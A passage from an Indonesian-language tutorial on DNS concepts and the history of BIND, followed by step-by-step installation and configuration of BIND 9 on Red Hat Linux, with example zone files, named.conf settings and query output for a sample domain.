(Request For Comment) 882 dan RFC 883 yang menjelaskan tentang Domain Name System (DNS). Kemudian disusul dengan RFC 1034 dan RFC 1035 yang juga menambahkan tentang masalah kemanan DNS, penerapan (implementasi), pengelolaan (adminstrative),mekanisme pembaharuan data secara dinamis, serta kemanan data dalam sebuah domain dan lain-lainnya.&lt;br /&gt;&lt;br /&gt;(DNS and BIND 3rd Edition, Paul Albitz &amp; Cricket Liu, 1998 Hal 3)&lt;br /&gt;Konsep dan hirarki DNS&lt;br /&gt;&lt;br /&gt;DNS adalah suatu bentuk database yang terdistribusi, dimana pengelolaan secara lokal terhadap suatu data akan segera diteruskan ke seluruh jaringan (internet) dengan menggunakan skema client-server. Suatu program yang dinamakan name server, mengandung semua segmen informasi dari database dan juga merupakan resolver bagi client-client yang berhubungan ataupun menggunakannya.&lt;br /&gt;&lt;br /&gt;Struktur dari database DNS bisa diibaratkan dengan dengan struktur file dari sebuah sistem operasi UNIX. Seluruh database digambarkan sebagai sebuah struktur terbalik dari sebuah pohon (tree) dimana pada puncaknya disebut dengan root node. Pada setiap node dalam tree tersebut mempunyai keterangan (label) misalnya, .org, .com, .edu, .net, .id dan lain-lainnya, yang relatif rerhadap puncaknya (parent).Ini bisa diibaratkan dengan relative pathname pada sistem file UNIX,seperti direktori bin, usr, var, etc dan lain sebagainya. Pada puncak root node dalam sebuah sistem DNS dinotasikan dengan "." atau "/" pada sistem file UNIX.&lt;br /&gt;&lt;br /&gt;Pada setiap node juga merupakan root dari subtree, atau pada sistem file UNIX merupakan root direktori dari sebuah direktori. Hal ini pada sistem DNS disebut dengan nama domain. Pada tiap domain juga memungkinkan nama subtree dan bisa berbeda pula, hal ini disebut subdomain atau subdirektori pada sistem file UNIX. Pada bagian subdomainjuga memungkinkan adanya subtree lagi yang bisa dikelola oleh organisasi yang berbeda dengan domain utamanya.&lt;br /&gt;&lt;br /&gt;(DNS and BIND 3rd Edition, Paul Albitz &amp; Cricket Liu, 1998 Hal 4)&lt;br /&gt;Sejarah BIND&lt;br /&gt;&lt;br /&gt;Program DNS yang bernama JEEVES pertama kali diimplementasikan dan ditulis sendiri oleh Paul Mockapertis. Kemudian diteruskan oleh BIND (versi 4.8.3) yang diimplementasikan pada sistem operasi 4.3 BSD UNIX yang ditulis oleh Douglas Terry, Mark Painter, David Riggle dan Songnian Zhou dari Computer Systems Research Group (CSRG) pada Universitas California di Berkeley. Pada tahun antara 1985-1987, Kevin Dunlap seseorang dari Digital Equipment Corporation (DEC) bergabung dengan CSRG yang kemudian diikuti oleh Doug Kingston, Craig Partridge, Smoot Carl- Mitchell, Mike Muuss, Jim Bloom dan Mike Schwartz. Pemimpin dari proyek ini adalah Mike Karels dan O. Kure. &lt;br /&gt;&lt;br /&gt;BIND versi 4.9 dan 4.9.1 kemudian dirilis oleh DEC (yang sekarang diakusisi oleh Compaq Computer Corporation). Pemimpin dari proyek ini adalah Paul Vixie yang merupakan karyawan dari DEC serta dibantu oleh Phil Almquist, Robert Elz, Alan Barrett, Paul Albitz, Bryan Beecher, Andrew Partan, Andy Cherenson, Tom Limoncelli, Berthold Paffrath, Fuat Baran, Anant Kumar, Art Harkin, Win Treese, Don Lewis, Christophe Wolfhugel, dan lain-lainnya. BIND versi 4.9.2 kemudian diambil alih oleh Vixie Enterprises, dan Paul Vixie menjadi arsitek dan programmernya. BIND mulai dari versi 4.9.3 dan seterusnya kemudian diambil alih oleh Internet Software Consortium (ISC) dan akhirnya untuk pertama kalinya, pada tanggal 8 Mei 1997 Bob Halley dan Paul Vixie merilis versi BIND untuk keperluan produksi. Sekarang BINDversi 4 sudah mulai jarang digunakan, dan sebagai penggantinya adalah BIND versi 8 dan versi 9.&lt;br /&gt;&lt;br /&gt;(http://www.isc.org/products/BIND/bind-history.html)&lt;br /&gt;Cara kerja DNS&lt;br /&gt;&lt;br /&gt;Ketika anda melakukan query (bisa berupa ping, ssh, dig, host, nslookup, email, dan lain sebagainya) ke sebuah host misalnya durmagati.ee.kurowo.edu maka name server akan memeriksa terlebih dahulu apakah ada record host tersebut di cache name server lokal. Jika tidak ada, name serverlokal akan melakukan query kepada root server dan mereferensikan name server untuk TLD .edu , name server lokal kembali melakukan query kepada name server .edu dengan jenis query yang sama dan mereferensikan kurowo.edu . Name server lokal kembali melakukan query ke name server kurowo.edu dan mereferensikan query selanjutnya ke name server lokal yaitu ee.kurowo.edu . Kemudian name server lokal melakukan query kepada name server lokal yaitu ee.kurowo.edu dan akhirnya mendapatkan jawaban address yang diminta. Penamaan host durmagati.ee.kurowo.edu mungkin bisa diartikan nama sebuah komputer (durmagati) pada Electrical Engineering Department (ee) pada Universitas Kurowo (kurowo.edu) , mungkin juga salah :)&lt;br /&gt;2. Instalasi BIND&lt;br /&gt;&lt;br /&gt;Anda bisa mendapatkan softare BIND yang paling baru dari website resmi ISC dengan alamat http://www.isc.org/products/BIND. Ketika tulisan ini dibuat versi calon rils (release candidate/rc) yang paling baru adalah 9.2.2rc1 (dirilis pada tanggal 14 Agustus 2002) dan versi stable 9.2.1 (dirilis pada tanggal 1 Mei 2002). Kebetulan mesin yang digunakan untuk percobaan adalah menggunakan sistem operasi Linux dengan distro Redhat 7.2 (Enigma), tentu anda bisa menggunakan distro favorit anda yang lain :). Karena pada distro Redhat pada instalasi default sudah menyertakan BIND dalam format RPM, maka langkah pertama adalah menghapus software tersebut dari sistem. Jika anda tidak menggunakan Redhat ataupun tidak ada software BIND yang telah ada, anda bisa melewati langkah berikut ini (INGAT, jika ada BIND yang telah jalan dan anda ingin melakukan upgrade, silakan kreatif dengan membuat salinan atau backup terlebih dahulu) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# for a in $(rpm -qa | grep ^bind); do rpm -e --nodeps $a; done &lt;br /&gt;[root@wedus asfik]# userdel -r named &lt;br /&gt;[root@wedus asfik]# rm -rf /var/named &lt;br /&gt;&lt;br /&gt;Diasumsikan anda terhubung ke internet dan terdapat utilitas wget untuk mendowload software dari ISC, jika anda telah mempunyai source BIND anda bisa melewati langkah berikut ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# wget ftp://ftp.isc.org/isc/bind9/9.2.2rc1/bind-9.2.2rc1.tar.gz &lt;br /&gt;&lt;br /&gt;Kemudian kita mekarkan file source, melakukan kompilasi dan menambah user yang akan menjalakan BIND, pada proses make install akan terbentuk direktori /usr/local/named sebagai direktori utama dimana software ini disimpan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# tar -xzvf bind-9.2.2rc1.tar.gz &lt;br /&gt;[root@wedus asfik]# cd bind-9.2.2rc1&lt;br /&gt;[root@wedus bind-9.2.2rc1]# ./configure --prefix=/usr/local/named &lt;br /&gt;[root@wedus bind-9.2.2rc1]# make &lt;br /&gt;[root@wedus bind-9.2.2rc1]# make install&lt;br /&gt;[root@wedus bind-9.2.2rc1]# adduser -d /var/named -s /bin/false named &lt;br /&gt;&lt;br /&gt;Ganti direktori ke home direktori user named serta mendownload file named.root yang berisi tentang informasi dari root-servers :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus bind-9.2.2rc1]# cd /var/named &lt;br /&gt;[root@wedus named]# wget ftp://internic.net/domain/named.root&lt;br /&gt;&lt;br /&gt;Kemudian buat file untuk reverse PTR localhost (anda bisa menggunakan editor favorit anda, disini kita menggunakan vi) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# vi db.127.0.0 &lt;br /&gt;&lt;br /&gt;Isi file db.127.0.0 adalah :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$TTL 86400 &lt;br /&gt;@       IN      SOA     localhost. root.localhost. (  &lt;br /&gt;                      2003021500      ; serial&lt;br /&gt;                      28800           ; refresh&lt;br /&gt;                      14400           ; retry&lt;br /&gt;                      3600000         ; expiry &lt;br /&gt;                      86400 )         ; minimum&lt;br /&gt;&lt;br /&gt;        IN      NS      localhost.&lt;br /&gt;1       IN      PTR     localhost. &lt;br /&gt;&lt;br /&gt;Kemudian salin file db.127.0.0 ke alamat network IP anda (bisa IP intranet atau IP yang anda dapatkan dari ISP anda), disini dimisalkan network yang akan kita reverse adalah 10.126.24.0/24 dan IP 10.126.24.1 adalah IP dimana software BIND akan kita install :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# cp db.127.0.0 db.10.126.24&lt;br /&gt;&lt;br /&gt;Kemudian buat file yang berisi tentang zone dari localhost :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# vi db.localhost&lt;br /&gt;&lt;br /&gt;Isi dari file db.localhost adalah :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$TTL 86400 &lt;br /&gt;$ORIGIN localhost. &lt;br /&gt;@       IN      SOA     localhost. root.localhost. (&lt;br /&gt;                        2003021500      ; serial&lt;br /&gt;                        28800           ; refresh&lt;br /&gt;                        14400           ; retry&lt;br /&gt;                        3600000         ; expiry&lt;br /&gt;                        86400 )         ; minimum&lt;br /&gt;&lt;br /&gt;        IN      NS      localhost.&lt;br /&gt;        IN      A       127.0.0.1 &lt;br /&gt;&lt;br /&gt;Buat sebuah direktori untuk menyimpan file konfigurasi dari daemon program BIND :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# mkdir /usr/local/named/etc&lt;br /&gt;&lt;br /&gt;Buat file /usr/local/named/etc/named.conf yang akan dijadikan sebagai file konfigurasi dari program BIND :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# vi /usr/local/named/etc/named.conf&lt;br /&gt;&lt;br /&gt;Isi dari file /usr/local/named/etc/named.conf adalah :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;options {&lt;br /&gt;        directory "/var/named";&lt;br /&gt;        allow-transfer { 10.126.24.2/32; };&lt;br /&gt;        pid-file "/var/named/named.pid";&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;logging {&lt;br /&gt;        category lame-servers { null; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "." IN {&lt;br /&gt;        type hint;&lt;br /&gt;        file "named.root";&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "localhost" IN {&lt;br /&gt;        type master;&lt;br /&gt;        file "db.localhost";&lt;br /&gt;        allow-update { none; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "0.0.127.in-addr.arpa" IN {&lt;br /&gt;        type master;&lt;br /&gt;        file "db.127.0.0";&lt;br /&gt;        allow-update { none; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "24.126.10.in-addr.arpa" IN {&lt;br /&gt;        type master;&lt;br /&gt;        file "db.10.126.24";&lt;br /&gt;}; &lt;br /&gt;&lt;br /&gt;Kemudian meng-generate file konfigurasi yang akan digunakan oleh program rndc, ingat hasil dari perintah rndc-confgen bisa jadi berbeda dengan apa yang ditampilkan disini : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# /usr/local/named/sbin/rndc-confgen &lt;br /&gt;&lt;br /&gt;Kemudian copy-paste dari hasil perintah tersebut diatas mulai dari baris "# Start of rndc.conf" sampai dengan baris "# End of rndc.conf", simpan dengan nama file /usr/local/named/etc/rndc.conf . Kemudian copy-paste lagi dengan menghilangkan tanda "#", mulai dari baris "# key "rndc-key"..." sampai dengan baris yang hampir paling bawah diatas baris "# End of named.conf " yaitu sampai dengan baris "};" kemudian tambahkan pada file /usr/local/named/etc/named.conf . Sebagai contohnya adalah sebagai berikut ini, isi dari file /usr/local/named/etc/rndc.confmisalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Start of rndc.conf&lt;br /&gt;key "rndc-key" {&lt;br /&gt;        algorithm hmac-md5;&lt;br /&gt;        secret "2LCJImnMimOwc1odWR6jfg==";&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;options {&lt;br /&gt;        default-key "rndc-key";&lt;br /&gt;        default-server 127.0.0.1;&lt;br /&gt;        default-port 953;&lt;br /&gt;};&lt;br /&gt;# End of rndc.conf &lt;br /&gt;&lt;br /&gt;Sedangkan pada file /usr/local/named/etc/named.conf ditambahkan sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;key "rndc-key" {&lt;br /&gt;       algorithm hmac-md5;&lt;br /&gt;       secret "2LCJImnMimOwc1odWR6jfg==";&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;controls {&lt;br /&gt;        inet 127.0.0.1 port 953&lt;br /&gt;        allow { 127.0.0.1; } keys { "rndc-key"; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;Atau mungkin anda bisa menggunakan trik dibawah ini (tapi mungkin tidak selalu berhasil seperti yang anda harapkan, use it at your own risk :) ) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# /usr/local/named/sbin/rndc-confgen &gt; confgen.tmp&lt;br /&gt;[root@wedus named]# grep -v "^#" confgen.tmp &gt; /usr/local/named/etc/rndc.conf&lt;br /&gt;[root@wedus named]# grep "^#" confgen.tmp | sed 1,3d | sed -e "s/\# //g" | sed -e "s/End of named.conf//g" &gt;&gt; /usr/local/named/etc/named.conf&lt;br /&gt;[root@wedus named]# rm -rf confgen.tmp&lt;br /&gt;&lt;br /&gt;Kemudian langkah selanjutnya adalah mengubah kepemilikan home direktori dari user named, kemudian menjalankan daemon dari program BIND : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# chown -R named.named /var/named&lt;br /&gt;[root@wedus named]# /usr/local/named/sbin/named -u named -c /usr/local/named/etc/named.conf&lt;br /&gt;&lt;br /&gt;Jika sukses anda bisa melihat pada file /var/log/messages pesan-pesan sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# tail -f /var/log/messages&lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: starting BIND 9.2.2rc1 -u named -c /usr/local/named/etc/named.conf&lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: using 1 CPU&lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: loading configuration from '/usr/local/named/etc/named.conf' &lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: no IPv6 interfaces found &lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: listening on IPv4 interface lo, 127.0.0.1#53 &lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: listening on IPv4 interface eth0, 10.126.24.1#53 &lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: command channel listening on 127.0.0.1#953 &lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: zone 24.126.10.in-addr.arpa/IN: loaded serial 2003021500&lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: zone 0.0.127.in-addr.arpa/IN: loaded serial 2003021500&lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: zone localhost/IN: loaded serial 2003021500&lt;br /&gt;Feb 15 12:54:18 wedus named[25139]: running&lt;br /&gt;&lt;br /&gt;Untuk mengaktifkan daemon BIND setiap kali komputer direstar, tambahkan perintah "/usr/local/named/sbin/named -u named -c /usr/local/named/etc/named.conf" pada file rc.local didistro kesayangan anda. Jika anda menggunakan Redhat file rc.local terdapat pada direktori /etc, misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# echo "/usr/local/named/sbin/named -u named -c /usr/local/named/etc/named.conf" &gt;&gt; /etc/rc.local&lt;br /&gt;&lt;br /&gt;Kemudian kita set resolver agar menggunakan name server localhost: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# echo "nameserver 127.0.0.1" &gt; /etc/resolv.conf &lt;br /&gt;&lt;br /&gt;Testing query menggunakan name server localhost dengan perintah host :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# host 127.0.0.1&lt;br /&gt;1.0.0.127.in-addr.arpa domain name pointer localhost.&lt;br /&gt;[root@wedus named]# host localhost&lt;br /&gt;localhost has address 127.0.0.1 &lt;br /&gt;&lt;br /&gt;Atau dengan menggunakan perintah dig :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# dig -x 127.0.0.1&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.2.2rc1 &lt;&lt;&gt;&gt; -x 127.0.0.1&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 64212&lt;br /&gt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;1.0.0.127.in-addr.arpa.                IN      PTR&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;1.0.0.127.in-addr.arpa. 86400   IN      PTR     localhost.&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;0.0.127.in-addr.arpa.   86400   IN      NS      localhost.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;localhost.              86400   IN      A       127.0.0.1&lt;br /&gt;&lt;br /&gt;;; Query time: 1 msec&lt;br /&gt;;; SERVER: 127.0.0.1#53(127.0.0.1)&lt;br /&gt;;; WHEN: Sat Feb 15 13:58:48 2003&lt;br /&gt;;; MSG SIZE  rcvd: 93&lt;br /&gt;&lt;br /&gt;Jika anda tersambung ke internet anda bisa mencoba untuk query ke suatu host misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# host www.its-sby.edu&lt;br /&gt;www.its-sby.edu is an alias for ns2.its-sby.edu.&lt;br /&gt;ns2.its-sby.edu has address 202.155.84.179 &lt;br /&gt;&lt;br /&gt;Anda juga bisa mengeset client anda untuk menggunakan name server yang baru saja anda konfigurasi untuk melayani query. Untuk sistem operasi Windows 2000 Server (tm) adalah sebagai berikut : klik kanan pada "My Network Places" pilih "Properties", klik kanan pada "Local Area Connection" pilih "Properties", pilih pada "Internet Protocol (TCP/IP)" klik "Properties", klik radio button pada "Use the following DNS server addresses", isikan pada "Preferred DNS server" alamat IP dimana server DNS/BIND anda tersebut diinstall, disini diumpamakan IPnya adalah 10.126.24.1 . Untuk sistem operasi Windows98 (tm) adalah : dari menu "Start" klik "Settings", klik pada "Control Panel", klik pada "Network" klik pada "TCP/IP" pilih "Properties", pilih pada tabulasi "DNS Configuration" pilih pada "Enable DNS", kemudian pada "DNS Server Search Order" isikan alamat IP dimana server DNS/BIND anda tersebut diinstall, disini diumpamakan 10.126.24.1 &lt;br /&gt;&lt;br /&gt;Sampai pada langkah ini anda telah mengkonfigurasi BIND sebagai "caching only name server" yang akan menjawab semua query DNS dan mengingat-ingat record tersebut ketika anda melakukan query pada suatu record DNS yang sama. Hal ini mungkin akan membantu anda memperpendek waktu yang anda butuhkan untuk mengqueri suatu record jika anda berada pada koneksi internet yang pas-pasan :) (misalnya dialup atau kabel modem).&lt;br /&gt;&lt;br /&gt;Jika anda terhubung ke sebuah ISP dan ingin membagi beban querydari client anda yang menuju ke server anda dengan server DNS ISP anda, maka anda bisa menggunakan opsi forwarder. Misalkan DNS server ISP anda mempunyai IP 10.11.12.1 dan 10.11.12.2 maka di file named.confpada seksi options, bisa anda tambahkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;           forward first;&lt;br /&gt;           forwarders {&lt;br /&gt;                10.11.12.1;&lt;br /&gt;                10.11.12.2;&lt;br /&gt;           }; &lt;br /&gt;Menambah sebuah domain&lt;br /&gt;&lt;br /&gt;Sebelum menambahkan sebuah zone untuk suatu domain, tentunya anda harus memiliki nama domain yang unik. Jika anda merencanakan penggunaan domain di lingkungan intranet, maka anda tidak perlu untuk membelinya ataupun menyewa IP statik dari suatu ISP. Namun jika anda juga merencanakan domain tersebut akan digunakan di internet, tentunya anda harus membeli melalui registrar-registrar yang disetujui oleh Internic dan mendapatkan IP statik dari ISP anda. Misalnya untuk top level domain (TLD) .COM/.NET/.ORG/.EDU/.BIZ/.INFO anda bisa mendaftarkan melalui Network Solutions Inc. ( http://www.nsi.com), GKG Inc. ( http://www.gkg.net), Register Inc. ( http://www.register.com), atau anda bisa melihat daftar registrar yang lengkap di website resmi Internic dengan URL http://www.internic.net/alpha.html . Atau jika anda merencanakan untuk menggunakan DTD-ID (.co.id,.or.id,.web.id,.war.net.id) anda bisa mendaftarkan melalui http://www.idnic.net.id. Setelah domain tersebut selesai anda daftarkan biasanya anda diminta mengkonfigurasi 2 buah name-server yang akan menghandle domain tersebut. Untuk TLD .COM/.NET/.ORG/.EDU/.BIZ/.INFO biasanya anda diminta untuk mendaftarkan dahulu IP statik yang akan digunakan sebagai name-server ke registrar dimana domain tersebut didaftarkan. Untuk DTD-ID sampai tulisan ini dibuat anda bisa langsung mengarahkan name-server anda ke IP statik yang anda dapatkan dari ISP tanpa perlu mendaftarkan IP tersebut.&lt;br /&gt;&lt;br /&gt;Sebagai contoh anda sudah mendapatkan domain : kurowo.edu , sebagai rencana primary name server (ns1.kurowo.edu) , IP yang digunakan adalah 10.126.24.1 , secondary name server (ns2.kurowo.edu) : 10.126.24.2 , webserver (kurowo.edu maupun www.kurowo.edu) : 10.126.24.3 , ftp server (ftp.kurowo.edu) dialiaskan ke www.kurowo.edu,sedangkan sebagai primary mail exchanger (dursosono.kurowo.edu) : 10.126.24.4 , secondary mail exchanger / backup mail exchanger (duryudono.kurowo.edu) : 10.26.24.5 dan gateway(gateway.kurowo.edu)nya adalah : 10.126.24.6&lt;br /&gt;&lt;br /&gt;Diumpamakan kita telah ssh ke IP 10.126.24.1 yang akan kita jadikan ns1.kurowo.edu setelah su - ke user root pindah ke direktori /var/namedkemudian kita bikin file database untuk zone kurowo.edu :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus root]# cd /var/named&lt;br /&gt;[root@wedus named]# vi db.kurowo.edu&lt;br /&gt;&lt;br /&gt;Isi file db.kurowo.edu adalah sesuai data-data yang direncanakan seperti diatas :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$TTL 86400&lt;br /&gt;@       IN      SOA     ns1.kurowo.edu. asfik.kurowo.edu. (&lt;br /&gt;                2003021500 ; serial&lt;br /&gt;                28800&lt;br /&gt;                14400&lt;br /&gt;                3600000&lt;br /&gt;                86400&lt;br /&gt;                )&lt;br /&gt;&lt;br /&gt;                IN      NS      ns1.kurowo.edu.&lt;br /&gt;                IN      NS      ns2.kurowo.edu.&lt;br /&gt;                IN      MX      10 dursosono.kurowo.edu.&lt;br /&gt;                IN      MX      20 duryudono.kurowo.edu.&lt;br /&gt;                IN      A       10.126.24.3&lt;br /&gt;&lt;br /&gt;ns1             IN      A       10.126.24.1&lt;br /&gt;ns2             IN      A       10.126.24.2&lt;br /&gt;www             IN      A       10.126.24.3&lt;br /&gt;dursosono       IN      A       10.126.24.4&lt;br /&gt;duryudono       IN      A       10.126.24.5&lt;br /&gt;gateway         IN      A       10.126.24.6&lt;br /&gt;ftp             IN      CNAME   www &lt;br /&gt;&lt;br /&gt;Kemudian pada file /usr/local/named/etc/named.conf ditambahkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zone "kurowo.edu" {&lt;br /&gt;        type master;&lt;br /&gt;        file "db.kurowo.edu";&lt;br /&gt;}; &lt;br /&gt;&lt;br /&gt;Restart BIND, anda bisa menggunakan perintah rndc atau memberi sinyal HUP ke daemon named (killall -HUP named), disini kita gunakan rndc :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# /usr/local/named/sbin/rndc reload &lt;br /&gt;&lt;br /&gt;Kemudian amati file /var/log/messages, seharusnya ada pesan sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Feb 15 14:29:32 wedus named[25232]: loading configuration from '/usr/local/named/etc/named.conf'&lt;br /&gt;Feb 15 14:29:32 wedus named[25232]: no IPv6 interfaces found&lt;br /&gt;Feb 15 14:29:32 wedus named[25232]: zone kurowo.edu/IN: loaded serial 2003021500&lt;br /&gt;Feb 15 14:29:32 wedus named[25232]: zone kurowo.edu/IN: sending notifies (serial 2003021500)&lt;br /&gt;&lt;br /&gt;Periksa apakah konfigurasi yang kita tambahkan sudah benar-benar sesuai, kita bisa menggunakan perintah host :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# host -t ns kurowo.edu&lt;br /&gt;kurowo.edu name server ns1.kurowo.edu.&lt;br /&gt;kurowo.edu name server ns2.kurowo.edu. &lt;br /&gt;[root@wedus named]# host -t mx kurowo.edu&lt;br /&gt;kurowo.edu mail is handled by 10 dursosono.kurowo.edu.&lt;br /&gt;kurowo.edu mail is handled by 20 duryudono.kurowo.edu.&lt;br /&gt;[root@wedus named]# host www.kurowo.edu&lt;br /&gt;www.kurowo.edu has address 10.126.24.3&lt;br /&gt;&lt;br /&gt;Jika IP 10.126.24.3 sudah terhubung ke jaringan, anda bisa periksa dengan menggunakan ping ke hostnya langsung :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# ping www.kurowo.edu&lt;br /&gt;PING www.kurowo.edu (10.126.24.3) from 10.126.24.1: 56(84) bytes of data.&lt;br /&gt;64 bytes from  10.126.24.3: icmp_seq=0 ttl=255 time=223 usec&lt;br /&gt;64 bytes from  10.126.24.3: icmp_seq=1 ttl=255 time=223 usec&lt;br /&gt;64 bytes from  10.126.24.3: icmp_seq=2 ttl=255 time=242 usec&lt;br /&gt;&lt;br /&gt;--- www.kurowo.edu ping statistics ---&lt;br /&gt;3 packets transmitted, 3 packets received, 0% packet loss&lt;br /&gt;&lt;br /&gt;Atau anda juga bisa menggunakan perintah dig :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# dig kurowo.edu&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.2.2rc1 &lt;&lt;&gt;&gt; kurowo.edu&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 50880&lt;br /&gt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;kurowo.edu.                 IN      A&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;kurowo.edu.          86400   IN      A       10.126.24.3&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;kurowo.edu.          86400   IN      NS      ns2.kurowo.edu.&lt;br /&gt;kurowo.edu.          86400   IN      NS      ns1.kurowo.edu.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns1.kurowo.edu.      86400   IN      A       10.126.24.1&lt;br /&gt;ns2.kurowo.edu.      86400   IN      A       10.126.24.2&lt;br /&gt;&lt;br /&gt;;; Query time: 1 msec&lt;br /&gt;;; SERVER: 127.0.0.1#53(127.0.0.1)&lt;br /&gt;;; WHEN: Sat Feb 15 14:32:31 2003&lt;br /&gt;;; MSG SIZE  rcvd: 115&lt;br /&gt;&lt;br /&gt;CATATAN : Setiap pembaharuan record terhadap database suatu zone selalu naikkan nomor serial ke yang lebih tinggi dari sebelumnya&lt;br /&gt;Mengelola zone reverse (PTR)&lt;br /&gt;&lt;br /&gt;Jika anda juga ingin merencanakan untuk mengelola zone PTR dari IP yang anda peroleh dari ISP anda, tentunya anda harus menanyakan dahulu ke ISP anda tentang delegasinya sehingga anda mempunya hak untuk mengelola reverse PTR IP anda. Sebagai contoh anda mendapatkan satu kelas C IP yaitu 10.126.24.0/24 dan sudah didelegasikan secara penuh oleh ISP anda, maka pada file named.conf yang telah dibuat pada seksi sebelumnya kita pastikan sudah terdapat zone untuk 24.126.10.in-addr.arpa,kemudian edit kembali file db.10.126.24 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# vi db.10.126.24&lt;br /&gt;&lt;br /&gt;Ubah isi dari file db.10.126.24 menjadi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$TTL 86400&lt;br /&gt;@       IN      SOA     ns1.kurowo.edu. asfik.kurowo.edu. (&lt;br /&gt;                        2003021501      ; serial&lt;br /&gt;                        28800           ; refresh&lt;br /&gt;                        14400           ; retry&lt;br /&gt;                        3600000         ; expiry&lt;br /&gt;                        86400 )         ; minimum&lt;br /&gt;&lt;br /&gt;        IN      NS      ns1.kurowo.edu.&lt;br /&gt;        IN      NS      ns2.kurowo.edu.&lt;br /&gt;&lt;br /&gt;1       IN      PTR     ns1.kurowo.edu.&lt;br /&gt;2       IN      PTR     ns2.kurowo.edu.&lt;br /&gt;3       IN      PTR     www.kurowo.edu.&lt;br /&gt;4       IN      PTR     dursosono.kurowo.edu.&lt;br /&gt;5       IN      PTR     duryudono.kurowo.edu.&lt;br /&gt;6       IN      PTR     gateway.kurowo.edu.&lt;br /&gt;&lt;br /&gt;Restart daemon BIND (killall -HUP named) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# /usr/local/named/sbin/rndc reload&lt;br /&gt;&lt;br /&gt;Periksa kembali apakah PTR yang kita seting sudah sesuai dengan keinginan, anda bisa menggunakan perintah host :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# host 10.126.24.1&lt;br /&gt;1.24.126.10.in-addr.arpa domain name pointer ns1.kurowo.edu.&lt;br /&gt;[root@wedus named]# host 10.126.24.2&lt;br /&gt;2.24.126.10.in-addr.arpa domain name pointer ns2.kurowo.edu.&lt;br /&gt;[root@wedus named]# host 10.126.24.3 &lt;br 